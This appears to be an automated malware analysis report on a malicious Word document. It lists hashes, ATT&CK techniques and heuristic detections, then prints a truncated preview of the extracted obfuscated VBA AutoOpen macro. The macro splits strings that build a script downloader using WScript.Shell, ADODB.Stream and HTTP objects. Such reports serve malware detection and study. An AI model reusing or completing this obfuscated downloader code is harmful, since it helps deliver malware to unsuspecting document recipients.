Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ee1f31305fa2a6a…

MALICIOUS

Office (OLE)

71.5 KB Created: 2016-09-05 22:43:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 0f6312a242cadaecfa725c46b7154847 SHA-1: 3184539ecf00cf56318cf0ca0d51ddff0a453d18 SHA-256: 7ee1f31305fa2a6a0eb466572099a7c76bbbd04a9525f325b49f6bf37798b437
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes `CreateObject` and an `AutoOpen` function, indicating an attempt to execute arbitrary code. This is a common technique for downloading and executing further stages of malware. The presence of VBA macros strongly suggests a spearphishing attachment vector.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9539 bytes
SHA-256: edc37f7329cf5297892dd0f90399d1423b3d409c1c51c23a40195be265227fb3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub zaqek(hjikodexy7, juhyw2)
hjikodexy7.Language = juhyw2
End Sub
        
Sub ejnykdu6()
Dim infofodc, vestabridt, twixlolmek6, gingyjf, ycamyvj, delutxu, ehpuwciny7, pmadyhd8, olviqliwh, urxobi, eledaddex, ozuvylka1, oceduro, xywhokrepu0, yrxezovu, yrnego3, ataxas, imhuryntu, umloxsahly8
Dim ycezo
Dim oxrurry, dytywidi, axqiwxawc0, mvamrizpy, zqojtybqetu, ojcedzih, etubqiq9, pyrjehi, lemreli, ujurzo, ymurakum0, zypzutilke, tvazjiqzazd, asmedfihnilt, fudguszeci4, vypsotp
Dim othewrep, qkixom7, ksorhopra, ixwelxydxub2, knigbyxexgy0, rasub2, izygwovfifn, ylbalokepj, rmanenzytd, ojpoba, ekvijumikv, ehpamciqt, rzajgyja3, gxelmotv, inekgisi0, ipijgycse2
Dim yvwiztosa
'overpoweringly assign competitions dioxides mend
Dim yzaxecv6
Dim ozgalas4
Dim biwjobawx, vfirbukperxa, xkesqelta0, wrevopew7, fbixpatbyty2, ivuvemi, ylmyfvu, ilbaci8, wuditu, blecged, nypoqdeze4, jetrezxorzo, sfafhonum4, egkobawbu, lekdevavc, ejwexdyzoxh1, ccohybx4, jxodleww, uqbabtyt, idkexegmudv, ylynyqom6, ajalelwicq, uqlamdofva, ucryzdedz4, gwexobesv, urdusxeze, foxixajx4
Dim mtetmagkupe2
Dim avhymjod6, ybpohulsu4, kilzoggo7, tifetemg8, awenuwg0, glomhatzucx0, canuvexw7, icpuhdor, ijidlukud, yjyjaku, irhymsede4, unizqa6, ibutuzwenh, jkohpoxubm, esaqecubn5, akapny6, osaztufq, wafewg2, cyprerha, ahanvyfy9, qzigahzo, eziza0, tpepcytyz0, ujkovipa, uxipkev4, kaqejah7, jkavdeg, ihqyrafqu, ygzyhabz, mfibany, gilyrlivgo4
Dim nefvojebji7, mgaqewa5, edtazmuz, ubpiro, asywax2, clormuqxudc, idarefo, oqjahu, enokmo8, xhasbehoz, xpibyry7, umotylx9, dwaflupme, utdobzeqbi9, ducramme7, ebimwygsi, ybrunkeml, rnuzyp0, isimyrrovc, aqzebmaby3, uxguta, gvyrufjori4, camjiwn, kikuqxevd2, emexlu, fsutu, eczogyxv3
Dim omixxano3, wepy0, ysul, onrifiwa, sakgaqak, iqipa2, etfuvgaf, rjenukx0, enyfxysc2, kipfiwg0, opcyhwo3, ikfunbyrcu0, apsofufs8, echuzfegki3, goze, uwhirzumo2, giwlix0
Dim ybdagl7
urxobi = "shel"
wuditu = "osit"
'divisibility airforce righting chamois deklerk hyphenates
ujkovipa = "ype "
ekvijumikv = "mp_p"
clormuqxudc = "r st"
ybrunkeml = "); }"
cyprerha = "am.W"
irhymsede4 = "n();"
asywax2 = "l"");"
'pawning segments centuries teak ozonefriendly
eledaddex = "ript"
icpuhdor = " + t"
rasub2 = " (""A"
twixlolmek6 = "o.Ge"
kaqejah7 = "new "
ybpohulsu4 = "2) +"
infofodc = ");as"
gilyrlivgo4 = "ctiv"
ihqyrafqu = "DODB"
knigbyxexgy0 = "emOb"
'misdirected trapdoor incompatibilities tucker sardine
ijidlukud = "r cm"
nypoqdeze4 = "ctiv"
ataxas = "ipt."
nefvojebji7 = "exe"""
jkavdeg = "eXOb"
'crosssections refolding hypothesis hastier franchisee dissemble irks defiance
lekdevavc = "TTP"""
uxguta = "WScr"
ehpuwciny7 = " she"
delutxu = " ""\\"
blecged = "er ("
qzigahzo = " ass"
'began thatching jurist oolitic chorused sad joke
ajalelwicq = "pons"
kilzoggo7 = """ + "
xkesqelta0 = "stre"
oqjahu = "(tmp"
wrevopew7 = ", ""h"
edtazmuz = "eXOb"
utdobzeqbi9 = "ream"
yzaxecv6 = "am.P"
ucryzdedz4 = ".Ope"
ymurakum0 = "h);s"
'integrative headphones mudguard cane balaclava keels heist consulate
egkobawbu = "ath "
ubpiro = "Shel"
yvwiztosa = "stre"
oceduro = "un(c"
wafewg2 = "ame("
ehpamciqt = "eBod"
axqiwxawc0 = "ar t"
rnuzyp0 = "d();"
'videotapes gay groovier disinclination fragility finality caked
ygzyhabz = "= 1;"
fudguszeci4 = "en("""
gingyjf = "ion "
gwexobesv = "n, 0"
xpibyry7 = "trea"
ozgalas4 = ";ass"
uxipkev4 = "er( "
isimyrrovc = ");va"
tvazjiqzazd = "XObj"
'cosmonaut justifies tidings prise windowed sinuously alembic lacks
ccohybx4 = "var "
asmedfihnilt = " = n"
ipijgycse2 = ") { "
lemreli = ");va"
vypsotp = "t ("""
'versatility basketry jarring gallstones responsibility overwriting found statesmen
gvyrufjori4 = "drun"
idkexegmudv = "var "
ylbalokepj = ".192"
etubqiq9 = "func"
ylmyfvu = "fso "
yjyjaku = "ti
... (truncated)